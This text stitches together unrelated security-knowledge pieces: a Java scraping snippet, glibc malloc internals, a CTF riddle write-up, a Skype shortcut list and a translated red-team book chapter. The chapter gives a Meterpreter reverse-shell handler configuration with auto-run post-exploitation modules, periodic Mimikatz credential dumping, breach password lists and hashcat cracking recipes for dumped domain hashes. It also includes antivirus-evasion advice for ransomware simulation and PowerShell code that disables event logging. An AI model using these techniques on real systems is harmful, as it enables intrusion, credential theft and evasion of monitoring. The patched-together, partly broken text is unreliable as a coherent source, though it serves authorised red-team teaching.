String url = "https://www.freebuf.com/articles/network/274294.html";
Document doc = Jsoup.parse(new URL(url), 10000);
String title = doc.getElementsByTag("title").text();
String time = doc.getElementsByClass("author-info").text();
String artical = doc.getElementsByClass("artical-body").text();
System.out.println("title : "+title);
System.out.println("time : "+time);
System.out.println("artical : "+artical);
}
```
### 多线程爬取
爬虫类
```java
public class Climbimp implements Runnable {
private String url ;
Lock lock = new ReentrantLock();
public Climbimp(String url, int pages) {
this.url = url;
}
public void run() {
lock.lock();
Document doc = null;
try {
doc = Jsoup.parse(new URL(url), 10000);
} catch (IOException e) {
e.printStackTrace();
}
String title = doc.getElementsByTag("title").text();
String time = doc.getElementsByClass("author-info").text();
String artical = doc.getElementsByClass("artical-body").text();
System.out.println("title : "+title);
//System.out.println("time : "+time);
//System.out.println("artical : "+artical);
lock.unlock();
}
}
```
主类
```java
public class main {
public static void main(String[] args) {
int Threadlist_num = 50; //线程数
String url = "https://www.freebuf.com/articles/network/274294.html"; //url
Climbimp climbimpl = new Climbimp(url,pages);
for (int i = 0; i < Threadlist_num; i++) {
new Thread(climbimpl).start();
}
}
}
```
这里执行会访问 50 次 https://www.freebuf.com/articles/network/274294.html , 然后就被 freebuf 封 ip 了😂
---
## Source & Reference
- https://www.cnblogs.com/nice0e3/p/13488064.html
- https://blog.csdn.net/ly6cyh/article/details/77141346
- https://www.cnblogs.com/nice0e3/p/13488064.html
|
sec-knowleage
|
### malloc_state 相关函数malloc_init_stat
```c
/*
Initialize a malloc_state struct.
This is called only from within malloc_consolidate, which needs
be called in the same contexts anyway. It is never called directly
outside of malloc_consolidate because some optimizing compilers try
to inline it at all call points, which turns out not to be an
optimization at all. (Inlining it in malloc_consolidate is fine though.)
*/
static void malloc_init_state(mstate av) {
int i;
mbinptr bin;
/* Establish circular links for normal bins */
for (i = 1; i < NBINS; ++i) {
bin = bin_at(av, i);
bin->fd = bin->bk = bin;
}
#if MORECORE_CONTIGUOUS
if (av != &main_arena)
#endif
set_noncontiguous(av);
if (av == &main_arena) set_max_fast(DEFAULT_MXFAST);
// 设置 flags 标记目前没有fast chunk
av->flags |= FASTCHUNKS_BIT;
// 就是 unsorted bin
av->top = initial_top(av);
}
```
### malloc_state 相关函数malloc_consolidate
该函数主要有两个功能
1. 若 fastbin 未初始化,即 global_max_fast 为0,那就初始化 malloc_state。
2. 如果已经初始化的话,就合并 fastbin 中的 chunk。
基本的流程如下
### malloc_consolidate初始
```c
static void malloc_consolidate(mstate av) {
mfastbinptr *fb; /* current fastbin being consolidated */
mfastbinptr *maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */
/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;
```
### malloc_consolidate合并 chunk
```c
/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/
// 说明 fastbin 已经初始化
if (get_max_fast() != 0) {
// 清空 fastbin 标记
// 因为要合并 fastbin 中的 chunk 了。
clear_fastchunks(av);
//
unsorted_bin = unsorted_chunks(av);
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/
// 按照 fd 顺序遍历 fastbin 的每一个 bin,将 bin 中的每一个 chunk 合并掉。
maxfb = &fastbin(av, NFASTBINS - 1);
fb = &fastbin(av, 0);
do {
p = atomic_exchange_acq(fb, NULL);
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd;
/* Slightly streamlined version of consolidation code in
* free() */
size = chunksize(p);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
// 判断 nextchunk 是否是空闲的。
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
// 设置 nextchunk 的 prev inuse 为0,以表明可以合并当前 fast chunk。
clear_inuse_bit_at_offset(nextchunk, 0);
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;
if (!in_smallbin_range(size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
} while ((p = nextp) != 0);
}
} while (fb++ != maxfb);
```
### malloc_consolidate初始化
说明 fastbin 还没有初始化。
```c
} else {
malloc_init_state(av);
// 在非调试情况下没有什么用,在调试情况下,做一些检测。
check_malloc_state(av);
}
```
|
sec-knowleage
|
# Bashmach Alpha Hanukkah Riddle - חידת בסמ"ח אלפא לחנוכה
## Riddle
Basmach Alpha released a short [riddle](https://www.instagram.com/p/CmWifi8NINp/?igshid=YWJhMjlhZTc%3D) for Hanukkah in their [Instagram channel](https://www.instagram.com/bsmch.alpha/).

## Solution
The address bar in the image says: `MJZW2Y3IFVQWY4DIMEWW22LSMFRWYZJOO5SWELTBOBYC6===`. The image also contains many `XXXII` strings, which in Roman Numerals means `32`.
So let's decode the text as base32:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach]
└─$ echo MJZW2Y3IFVQWY4DIMEWW22LSMFRWYZJOO5SWELTBOBYC6=== | base32 -d
bsmch-alpha-miracle.web.app/
```
We visit the website and see a Hanukia with 8 candles, some lit and some not.

This immediately looks like binary, where if a candle it lit we translate it to `1` and otherwise `0`. Each Hanukia is a byte!
We can click the arrow button to get additional Hanukias with different candles.
However, the last Hanukia contains just six candles, which is odd if it should resemble a byte:

The raw values are:
```
00011011
10011110
01001010
11000111
11101111
00001101
00101001
10111101
10100101
10111
```
It's a bit hard to see, but the background contains some random letters and words. Here's a clearer version:

The letters are "H, F, A, U, M, N" which can spell out "HUFFMAN"! Can this be a Huffman-encoded message? (Hopefully not, since there are multiple ways to build a Huffman tree).
Anyway, we can take the sentence from below and try to build a Huffman tree, just like we did [here](https://github.com/Dvd848/CTFs/blob/master/2021_Matzov_NewYear/README.md).
```
The universe is big. It’s vast and complicated and ridiculous. And sometimes, very rarely, impossible things just happen and we call them miracles
```
If we use the [same service](https://huffman.ooz.ie/?text=The+universe+is+big.+It%E2%80%99s+vast+and+complicated+and+ridiculous.+And+sometimes,+very+rarely,+impossible+things+just+happen+and+we+call+them+miracles), we get:

Now we can use the tree to translate our message:
```python
huffman_dict = {
'000': 'E', '101': ' ', '0011': 'N',
'0100': 'L', '0111': 'T', '1001': 'A',
'1110': 'I', '1111': 'S', '00100': 'V',
'01010': 'U', '01101': 'H', '01011': 'O',
'10000': 'P', '11000': 'C', '11001': 'R',
'11010': 'D', '11011': 'M', '001010': '.',
'001011': ',', '011000': 'B', '011001': 'G',
'100010': 'Y', '1000110': 'W', '10001110': '\'',
'10001111': 'J'
}
def huffman_decode(dictionary, text):
res = ""
while text:
for k in dictionary:
if text.startswith(k):
res += dictionary[k]
text = text[len(k):]
return res
print(huffman_decode(huffman_dict, '00011011100111100100101011000111111011110000110100101001101111011010010110111'))
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach]
└─$ python3 solve.py
EMAIL BSMCH.HIDOT
```
|
sec-knowleage
|
---
title: Skype
date: 2022-11-23 16:23:31.698711
background: bg-[#52ace2]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 31 keyboard shortcuts found in Skype
---
Keyboard Shortcuts {.cols-2}
------------------
### General I
Shortcut | Action
---|---
`Ctrl` `Shift` `O` | Open Notification panel
`Ctrl` `,` | Open app settings
`Ctrl` `2` | Launch main dial pad
`Ctrl` `N` | Start new conversation
`Ctrl` `G` | New group
`Ctrl` `F` | Find in current conversation
`Shift` `Enter` | Select next message in search results
`Enter` | Select previous message in search results
`Ctrl` `Shift` `E` | Focus Message Composer
`Ctrl` `Option` `S` | Search for People, Groups, and Messages
`Alt` `1` | Navigate to recent chats
`Ctrl` `Shift` `C` | Open contacts
`Ctrl` `Shift` `B` | Open contact screen to bots
`Ctrl` `Alt` `O` | Send feedback
`Ctrl` `R` | Refresh the app
`Ctrl` `T` | Open themes
{.shortcuts}
### General II
Shortcut | Action
---|---
`Ctrl` `Shift` `T` | Toggle between light and dark mode
`Ctrl` `+/-/0` | Zoom in, out, or actual size
`Ctrl` `Shift` `E` | Edit the last message sent
`Ctrl` `I` | Show conversation profile
`Ctrl` `Shift` `A` | Add people to conversation or call
`Ctrl` `E` | Hide conversation
`Ctrl` `Shift` `U` | Mark as unread
`Ctrl` `Shift` `K` | Start video call or toggle video on/off
`Ctrl` `Shift` `L` | Select multiple messages in conversation
`Ctrl` `Shift` `R` | Start or answer audio call
`Ctrl` `Shift` `F` | Send a file
`Ctrl` `Shift` `G` | Open gallery
`Ctrl` `S` | Take a snapshot
`Ctrl` `Shift` `H` | Hang up
`Ctrl` `Shift` `M` | Toggle mute
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Skype](https://support.skype.com/en/faq/FA12025/what-are-keyboard-shortcuts-and-how-do-i-use-them-in-skype) _(support.skype.com)_
|
sec-knowleage
|
# 第8章 特勤组——破解、漏洞利用和技巧
> 译者:[@Snowming](https://github.com/Snowming04)
>
> 校对者:[@鶇](http://wp.blkstone.me)、@哈姆太郎、@匿名jack

本章重点介绍了一些我个人发现的对红队和渗透测试都有用的不同资源。这些资源可能不会在每个模拟入侵行动中都用到,但对于特定场景或在某一次的案例中可能非常有用。
## 自动化
随着基于[启发式](https://baike.baidu.com/item/%E5%90%AF%E5%8F%91%E5%BC%8F/7365819)(heuristic-based)的端点保护变得越来越完善,我们的攻击需要变得更加迅速。我们通常可以编写恶意软件来躲避杀毒软件和绕过初始检测,但是一旦我们开始在内存中调用 `Mimikatz` 或者进行横向移动到其他主机,我们就会开始触发报警。为了解决这个问题,我总是告诉红队,我们的初步试探可以故意让蓝队捕获。因为通常情况下,蓝队在发现我们使用的默认/基础恶意软件(或者仅仅进行了轻微的混淆)时就会将此视为胜利,但我们的真正目的是了解他们的环境。这是通过我们的初始 payload 在受害者的机器上自动运行多个侦察脚本来实现的。在下一节中,我们将介绍一些可以使我们的一些攻击自动化的快速自动运行脚本。
### 使用 RC 脚本自动化运行 Metasploit
对于 Metasploit,我们可以使用以下方法高效地运行我们的后渗透利用脚本:
* 搜索 Metasploit 中所有的后渗透利用模块:
* msfconsole
* show post
从显示的结果中,选择你想要包含的所有模块,以便在接收到一个 Meterpreter Shell 时自动执行。在这个案例中,我们将为我们的攻击添加一个 [privilege migrate](http://bit.ly/2vn1wFB) 后渗透模块。要配置 Meterpreter Shell 以便让它在受攻击主机的初始连接上运行此 payload,我们需要指定一个 `AutoRunScript` 参数。你可以根据需要添加尽可能多的 `AutoRunScripts` 参数来转储(dump)有关系统和网络的信息,然后横向移动,甚至更多!
创建处理程序 (Handler) 和 AutoRunScript:
* 创建处理程序文件
* gedit handler.rc
* 配置处理程序和自动运行脚本
* use multi/handler
* set payload windows/meterpreter/reverse_https
* set LHOST 10.100.100.9
* set LPORT 443
* **set AutoRunScript post/windows/manage/priv_migrate**
* set ExitOnSession false
* set EnableStageEncoding true
* exploit -j
* 启动处理程序
* msfconsole -r handler.rc
### 自动化运行 Empire
Empire 具有与 Metasploit 资源文件类似的功能,可以自动完成许多重复性任务。首先,我们需要创建一个文件(在我们的示例中,我们将创建一个名为 /opt/empire_autoload.rc 的文件)然后在我们的 Empire 实例中加载它。
* 在一个单独的终端窗口中,创建一个处理程序文件:
```
gedit /opt/empire_autoload.rc
```
* 添加所有你想要执行的后渗透模块:
```
usemodule situational_awareness/network/powerview/get_user
execute
back
usermodule situational_awareness/network/powerview/get_computer
execute
back
```
* 在 Empire 中,加载 autoload.rc 资源文件:
```
agents
autorun /opt/empire_autoload.rc powershell
autorun show
```

如你所见,当代理连接时,它会自动运行 `get_user` 和 `get_computer` 的 PowerShell 脚本。这些脚本的所有运行结果都将存储在 agent.log 文件中。在这种情况下,我们的代理名称是 N6LM348G,因此我们的日志将存储在 /opt/Empire/downloads/N6LM348G/agent.log。
### 自动化运行 Cobalt Strike
Cobalt Strike 如此强大的一个主要原因是因为它有 [Aggressor 脚本](https://www.cobaltstrike.com/aggressor-script/index.html)。使用 Cobalt Strike 的 Aggressor 脚本,你不仅可以配置自动运行的脚本,还可以创建非常复杂的攻击。例如,我经常遇到进攻共享工作站的场景,例如实验室服务器或会议室盒子。我可能就会希望我们的代理机器最好能每隔半小时运行 Mimikatz 以获取明文凭证。使用 Aggressor 脚本,我们可以执行所有这些操作甚至更多操作。下面是一个示例脚本: [mimikatz-every-30m.cna](http://bit.ly/2IXgIel)。
Aggressor 其他脚本集合:
* https://github.com/bluscreenofjeff/AggressorScripts
* https://github.com/harleyQu1nn/AggressorScripts
### 自动化的未来
最后,有一些很酷的项目正朝着自动化,智能入侵和 APT 攻击的方向发展。我坚信入侵行动的未来是朝着自动化的方向发展的,我们需要自动化地测试和验证我们的安全控制机制。我认为在发展这种自动化趋势方面具有巨大潜力的两个工具是:
- [Portia](https://github.com/SpiderLabs/portia)
- [Caldera](https://github.com/mitre/caldera)
## 密码破解
我了解的最新的和最喜欢的密码列表之一是来自最近发现的41 GB 大小的密码脱库,它包含14亿的用户名和密码( http://bit.ly/2HqbYk8 )。不过,我不想直接把下载链接展示出来,因为它包含很多敏感的用户名(或电子邮件)和相关密码,但你可以搜索 `BreachCompilation.tar.bz2` 以查找有关它的更多信息。在下载这些非常敏感的信息之前,请先查看你所在国家的法律。我建议你不要下载原始数据,只需下载密码列表即可。我已经下载了这个41GB 的字典,然后删除了所有用户名和电子邮件,并整理出了只是密码的数据。位于:http://thehackerplaybook.com/get.php?type=THP-password 。
在我的个人机器上,我使用8块技嘉 GV-N108TTURBO-11GD AORUS GeForce GTX 1080 Ti Turbo 11G 显卡,大约价值12,000美元,你也可以构建自己的一个机器,包括机箱、RAM、电源、SSD 和 GPU。当然,机箱至少需要一个4U机架(例如:SYS-4028GR-TR2)并且供应充足的电。虽然绝对不便宜,但我们每秒大约能枚举472,000,000,000个哈希值,可以爆破 Windows NTLM(Windows) 哈希。这是八个 GPU 的 hashcat 基准测试:
```
Hashmode: 1000 - NTLM
Speed.Dev.#1…..: 59436.3 MH/s (63.16ms)
Speed.Dev.#2…..: 58038.3 MH/s (64.70ms)
Speed.Dev.#3…..: 59104.4 MH/s (63.55ms)
Speed.Dev.#4…..: 59123.0 MH/s (63.52ms)
Speed.Dev.#5…..: 58899.7 MH/s (63.74ms)
Speed.Dev.#6…..: 59125.8 MH/s (63.51ms)
Speed.Dev.#7…..: 59256.3 MH/s (63.36ms)
Speed.Dev.#8…..: 59064.5 MH/s (63.56ms)
Speed.Dev.#*…..: 472.0 GH/s
```
对于那些买不起大型 GPU 设备的人来说,还有其他选择。你可以考虑在云服务器中进行密码破解的操作,虽然仍然不怎么便宜。最近,亚马逊已经集成了 [TESLA GPU](http://www.nvidia.com/object/tesla-servers.html)(不是特斯拉汽车),它们比1080Ti 更强大。关于如何使用这些 GPU 设置你自己的密码破解服务器,在 Medium 上有一篇很棒的文章:https://medium.com/@iraklis/running-hashcat-v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b 。
来自 Iraklis Mathiopoulos 的文章中的数据:
> 译者注:Iraklis Mathiopoulos 是上面这篇文章的作者。
```
Hashmode: 1000 - NTLM:
Speed.Dev.#1…..: 79294.4 MH/s (33.81ms)
Speed.Dev.#2…..: 79376.5 MH/s (33.79ms)
Speed.Dev.#3…..: 79135.5 MH/s (33.88ms)
Speed.Dev.#4…..: 79051.6 MH/s (33.84ms)
Speed.Dev.#5…..: 79030.6 MH/s (33.85ms)
Speed.Dev.#6…..: 79395.3 MH/s (33.81ms)
Speed.Dev.#7…..: 79079.5 MH/s (33.83ms)
Speed.Dev.#8…..: 79350.7 MH/s (33.83ms)
Speed.Dev.#*…..: 633.7 GH/s
```
对于同样的 NTLM 哈希值,使用 TESLA GPU 显卡破解的总速度比使用1080Ti GPU显卡大约快34%。但是运行 AWS 的总成本约为每小时25美元。因此,你需要根据自己的预算、需求和目标来选择。
**实验:**
最近,Have I Been Pwned 网站的创始人 Troy Hunt 发布了一个 SHA1 密码哈希列表,压缩之后的体积大约为5.3 GB。这是有史以来的数据泄露、脱库中一个非常大的列表了。这是一个测试你密码破解技巧的绝佳素材:
* https://downloads.pwnedpasswords.com/passwords/pwned-passwords-1.0.txt.7z
随着这些 GPU 的破解速度变得越来越快,10个字符以下的密码可以在相对合理的时间范围内进行智能化破解。其中一些可以通过使用高质量的密码掩码来破解,但是大多数情况下,主要取决于密码列表自身的复杂程度。破解大于12个字符的密码的最快方法之一就是使用来自于真实数据泄露事件的密码列表。回顾过去所有的数据泄露事件,我们可以很好地了解人类如何创建密码,混淆密码的常用技巧以及最常用的单词。使用复杂规则集配合这些密码字典,可以让我们以极快的速度破解密码(有时超过25个字符)。但请记住,你的密码列表取决于你构建和维护它的程度。作为红队队员,我们会定期跟踪我们破解的所有帐户,对其进行分析并将其添加到我们的密码字典中。我们还会不断监控新的数据泄露事件,访问 pastebin 和 pastie 网站等,以查找更新的密码。此处有一个很好的监控列表:https://inteltechniques.com/OSINT/pastebins.html 。
我最喜欢的密码列表:
* berzerk0的 Real-Password-WPA 密码列表:
* 18.6 GB 未压缩
* http://bit.ly/2EMs6am
* berzerk0 的字典风格的列表:
* 1 GB 未压缩
* http://bit.ly/2GXRNus
* Xato 的千万数量的密码
* magnet:?xt=urn:btih:32E50D9656E101F54120ADA3CE73F7A65EC9D5CB
* Hashes.org
* https://hashes.org/left.php
* 几千兆字节,而且每天都在增长
* Crackstation
* 15 GB 未压缩
* https://crackstation.net/files/crackstation.txt.gz
* Weakpass(弱密码)
* 大量的密码列表
* https://weakpass.com/wordlist
* First20Hours
* 该项目包含按频率顺序排列的10,000个最常见的英语单词列表,由 Google 的万亿字词数据库的 n-gram 频率分析确定。
* https://github.com/cyberspacekittens/google-10000-english
* SkullSecurity.org
* 优秀的旧密码列表,如 rockyou,myspace,phpbb
* https://wiki.skullsecurity.org/Passwords
* Daniel Miessler 的密码编译
* https://github.com/cyberspacekittens/SecLists
* Adeptus-mechanicus 哈希脱库
* http://www.adeptus-mechanicus.com/codex/hashpass/hashpass.php
通过优秀的密码列表组合,我们可以基于列表添加规则来找到更多密码。就 Hashcat 而言,规则会确定是否需要在词表中进行任何修改和扩展。描述规则的最佳方式是使用这一个易于理解的示例。我们可以使用 [KoreLogicRulesAppendYears](http://contest-2010.korelogic.com/rules.html) 规则集,如下所示:
* cAz”19[0-9][0-9]”
* Az”19[0-9][0-9]”
* cAz”20[01][0-9]”
* Az”20[01][0-9]”
它将在每个密码中添加1949年到2019年的年份字符串。比如,如果密码列表中包含单词 “hacker”,它就会使用 “hacker1949” 来尝试破解哈希值,一直试到 “hacker2019”。请记住,你拥有的密码规则越复杂,通过单词列表中的所有单词破解目标所需的时间就越长。
幸运的是,我们不需要创建自己的规则,因为网上已经有很多很好的规则。当然,还有默认的 Hashcat 规则,它来自许多较旧的数据泄露,以及常见的密码破解技术。这是一个很好的起点。Kore 规则来自 Korelogic 的密码竞赛,是其标准之一。另外的两个规则需要的时间更久,但也有非常详细的规则集,分别是 NSAKEY 和 Hob0Rules。在过去,我会采取所有的规则,将它们编入单个文件,并对文件去重。但是,现在,`NotSoSecure` 规则实际上已经为你做好了这些工作。
规则:
* Hashcat Rules
* https://github.com/hashcat/hashcat/tree/master/rules
* Kore Rules
* http://contest-2010.korelogic.com/rules-hashcat.html
* NSAKEY Rules(我的最爱之一)
* https://github.com/cyberspacekittens/nsa-rules
* Praetorian-inc Hob0Rules
* https://github.com/cyberspacekittens/Hob0Rules
* NotSoSecure —— 此规则包含上面全部规则
* https://github.com/cyberspacekittens/password_cracking_rules
注:NSAKEY Rules、Praetorian-inc Hob0Rules 和 NotSoSecure 是原仓库的 Fork 版本。
## 彻底破解全部 —— 尽可能多地快速破解
你现在已有从 Cyber Space Kittens 入侵行动获得的一个很大的密码列表。那么在有限的时间内,怎么能获得最好的收益呢?以下演练将指导你完成初始步骤来尽可能多地破解密码。虽然,我们通常只需要找到几个域管理员/LDAP 管理员/公司管理员帐户,但我的强迫症倾向让我试图破解所有密码。
在开始之前,你确实需要了解你的那些哈希值的密码格式。Hashcat 有一个很好的[列表](http://hashcat.net/wiki/doku.php?id=example_hashes),展示不同类型的哈希值的示例。一旦你知道了是什么类型的哈希算法,最好先进行一些初始测试,以确定该密码哈希算法的速度是快还是慢。这将对你的密码破解方法有巨大的影响。例如,在查看 Windows 系统下使用哈希算法时,我们看到 NTLM(Windows) 执行速度大约为75,000 MH/s。在 Linux下 运行 SHA-256算法的执行速度约为5,000 MH/s。
这意味着对于 SHA-256哈希,你的 GPU 可以每秒破解5,000,000,000次。这可能看起来很多,但是当你有大量的单词列表和很大的规则集时,这个速度可能不够理想。这是因为与每秒运算75,000,000,000个哈希值的 NTLM 相比,SHA-256算法的计算速度非常慢且成本高。在我们的例子中,我们将全力以赴,我们将使用8个1080TI GPU 并使用 NTLM 的快速哈希转储(dump)功能。
### 破解 CyberSpaceKittens NTLM 哈希:
获得域管理员访问权限后,你使用 DCSync 攻击从域控制器转储所有哈希值。你现在的目标是尝试尽可能多地破解哈希。因为你知道,你将能够在未来的入侵活动中使用这些帐户,并向受害者公司展示他们使用的不安全的密码的做法。
首先,我们将所有 NTLM Windows 哈希保存在一个名为 cat.txt 的文件中。为了使输出结果更易于阅读,我们将省略初始的 hashcat 执行命令。每个命令执行都将以 `hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt` 开头。
这句命令的意思为:
* hashcat: 运行 hashcat
* -w 3: 使用调整的配置文件
* -m 1000: 哈希格式是 NTLM
* -o hashes.cracked: 将结果输出到一个文件中
* ./hashes/cat.txt: 我们的哈希存储的地址
因此,每当你看到 [hashcat] 字符串时,请使用此命令替换它:`hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt `。现在,让我们在 8 GPU 1080TI 设备上快速高效地破解 NTLM 哈希。
* 使用 `brute-force`(-a 3)的攻击模式破解所有长度少于等于7个字符的密码。字符可以是任何字母、数字或者特殊字符(?a),启用增量破解模式从一个字符到七个字符进行尝试(--increment)。
* [hashcat] -a 3 ?a?a?a?a?a?a?a --increment
* 对于7个字符(字母/数字/特殊字符)的密码,破解总时间约为5分钟。我们可以设置为8个字符,但我们看到设置8字符后,运行了9个小时。
* 你还可以将特殊字符限制为少数几个(!@ #$ % ^),这能显著减少时间和复杂性。
* 接下来,将所有常见密码列表转储与我们的哈希值进行比较。第一个文件(40GB_Unique_File.txt)是一个3.2GB 的密码文件,运行大约需要9秒:
* [hashcat] ./lists/40GB_Unique_File.txt
* 我们可以看到,速度快到即使是这么大的文件,运行也只需要几秒钟。为了提高效率,我们实际上可以使用 * 运算符并与我们的 ./lists/ 文件夹中的每个密码列表进行比较。
* [hashcat] ./lists/*
* 接下来,基于哈希算法的速度,我们可以对单个密码列表文件尝试不同的规则集。我们将从 RockYou 规则集开始,破解这些 NTLM 哈希值大约需要2分9秒:
* [hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-30000.rule
* 注意:使用3 GB 文件设置的 NSAKEY 规则大约需要7分钟,使用 NotSoSecure 规则集(组合了其他所有规则集的规则集)大约需要20分钟。
* 当我用回其他密码列表和规则集组合时。跟所有大型规则集和大型密码泄露列表的第一次破解比较,我们通常可以至少提高30%以上的效率。
* 接下来,我们可以开始在密码列表的右侧添加字符,以提高破解更长密码的成功率。下面看到的 `-a 6` 命令会将每个字母/数字/特殊字符添加到密码右侧,从一个字符开始一直到最多四个字符:
* [hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a
* 注意:这需要大约30分钟才能完成四个字符
* 我们也可以在密码列表的左侧添加字符。以下命令将每个字母/数字/特殊字符添加到密码的左侧,从一个字符开始一直到最多四个字符:
* [hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt
* 注意:这需要大约30分钟才能完成四个字符
* Hashcat Utils:https://github.com/hashcat/hashcat-utils/releases 。Hashcat 有很多工具可以帮助构建更好的密码列表。一个例子是组合器,它可以采用两个或三个不同的密码列表并进行组合。使用小列表相对较快。使用我们的 shortKrak 列表并将其与自身相结合会导致非常快速的破解:
* ./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt lists/shortKrak.txt > lists/comboshortKrak.txt
* 使用一些列表比如“谷歌排名 top1000单词”会生成一个约1.4 GB 的文件,因此你必须注意你选择的文件的大小。
* ./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt lists/google_top_1000.txt > lists/google_top_1000_combo.txt
* 注意:使用一个4MB 文件并运行 combinator 将导致生成体积一个大于25GB 的文件。所以,要当心这些文件的体积大小。
* 很多时候,人们使用最多的密码不是常见的字典单词,而是基于他们的公司、产品或服务的单词。我们可以使用客户网站创建自定义密码列表。可以提供帮助的两个工具是:
* [Brutescrape](https://github.com/cheetz/brutescrape)
* [Burp Wordlist Extractor](https://portswigger.net/bappstore/21df56baa03d499c8439018fe075d3d7)
* 接下来,使用 [PACK](https://github.com/iphelix/pack) (Password Analysis and Cracking Kit) 工具对所有破解的密码进行分析并创建掩码:
* python ./PACK-0.0.4/statsgen.py hashes.password
* python ./PACK-0.0.4/statsgen.py hashes.password --minlength=10 -o hashes.masks
* python ./PACK-0.0.4/maskgen.py hashes.masks --optindex -q -o custom-optindex.hcmask
> 译者注:本书作者给出的关于 PACK 的链接为:http://thesprawl.org/projects/pack/ ,但是你只要点了试试就会发现现在这个连接被自动跳转到 PACK 作者的博客了。译文中的 PACK 工具的地址是译者自己在 Github 找到的,因为链接变了,所以上面的 python 语句大家根据情况做出调整。可以参考该工具的 README,非常详细。
* 使用新创建的掩码进行密码破解:
* [hashcat] -a 3 ./custom-optindex.hcmask
* 使用 [Pipal](https://github.com/digininja/pipal) 分析你的密码列表可以更好地理解密码的基本词汇:
* cd /opt/pipal
* ./pipal.rb hashes.password
* 看看这个列表,你可能会发现这家公司使用`resetme12345`作为默认密码,可能位于密歇根州(列表里有底特律、老虎、足球这些词汇)。
那么下一步我们做什么?已经有很多对于不同的密码生成工具、密码分析和其他技术的很好的研究,目的是找到更快的破解密码的方法。若你有兴趣,这里给出一些资料:
* [PassGAN:使用深度学习方法进行密码破解](https://github.com/brannondorsey/PassGAN)
* [快速、精益、准确:使用神经网络建模的密码可猜测性](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/melicher)
## 具有创新性的的入侵行动
作为公司的内部红队可以有机会参加具有创新性的的入侵行动。我最喜欢的行动之一是模拟勒索软件。在过去,我们被允许在 WannaCry 大面积爆发的时期进行模拟勒索软件行动。随着加密软件和勒索软件越来越受欢迎,我们确实需要有能力测试我们的业务恢复和遇难恢复程序。我们在现实生活中见证了这一点,WannaCry 通过 SMB 进行横向移动,利用 EternalBlue ,加密文件等攻击,甚至删除了主机系统上的所有备份。作为一个 IT 组织,我们需要问自己的问题是,如果我们的某个用户点击了该恶意软件,会产生什么影响?我们可以恢复用户文件、共享文件、数据库等东西吗?我们一直听到的答案是,“我觉得可以......”,但如果没有红队提前验证的过程,我们最终会等到我们的房子被烧成灰后才知道是不是真的可以。
这就是为什么我喜欢公司内部进行红队评估的原因。我们可以在受控环境中真正证明并验证安全性和 IT 是否正常运行。对于这本书,我没有列举任何我们的勒索软件的例子,因为这样做很危险。我将让你负责构建工具并以批准的方法测试你的客户。
模拟勒索软件行动提示:
* 有些公司实际上不会让入侵者删除或加密文件。对于这些公司,你可以进行模拟勒索软件攻击。一旦恶意软件被执行,它所做的就是扫描主机和网络中的重要文件,将每个文件读入内存,执行随机字节交换,将这些字节发送到 C2 服务器,并包含元数据。这将展示出你能够操作的文件数量,在检测到流量之前可以从网络中渗透出的数据量以及可以恢复的文件数量。
* 查看其他勒索软件样本以查看他们正在加密的文件类型。这可以创造一个更接近现实的行动。例如,查看 WannaCry 中的文件类型( https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168 )。
* 如果你要 “加密” 恶意软件,请使用简单的方法。它可以是带有密钥的标准 AES,一个公共或私有的 x509 证书,或某种按位异或。制作它越复杂,无法恢复文件的可能性就越大。
* 测试、测试和测试。你可以预见的最糟糕的事情是让目标公司无法恢复关键文件,并且你的解密过程还不起作用。
* 许多下一代杀毒软件基于链中的某些动作会自动阻止勒索软件。例如,勒索软件可能执行的正常检测是:扫描系统中所有类型为 X 的文件,加密 X 文件,删除磁盘中的副本以及禁用备份。想要绕过检测过程的话,要么减慢勒索软件的活动流程,要么通过不同的流程达到相同的目的。
## 禁用 PowerShell 记录
作为红队队员,我们一直在寻找独特的方法来尝试和禁用任何类型的日志记录。虽然现在也有办法执行这些攻击,但我们仍在不断寻找新的更简单的技术。
以下是一个 leechristensen 写的[示例](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs),可用于禁用 PowerShell 日志记录:
- $EtwProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static');
- $EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid());
- $EtwProvider.SetValue($null, $EventProvider);
## 从命令行连接网络下载 Windows 文件
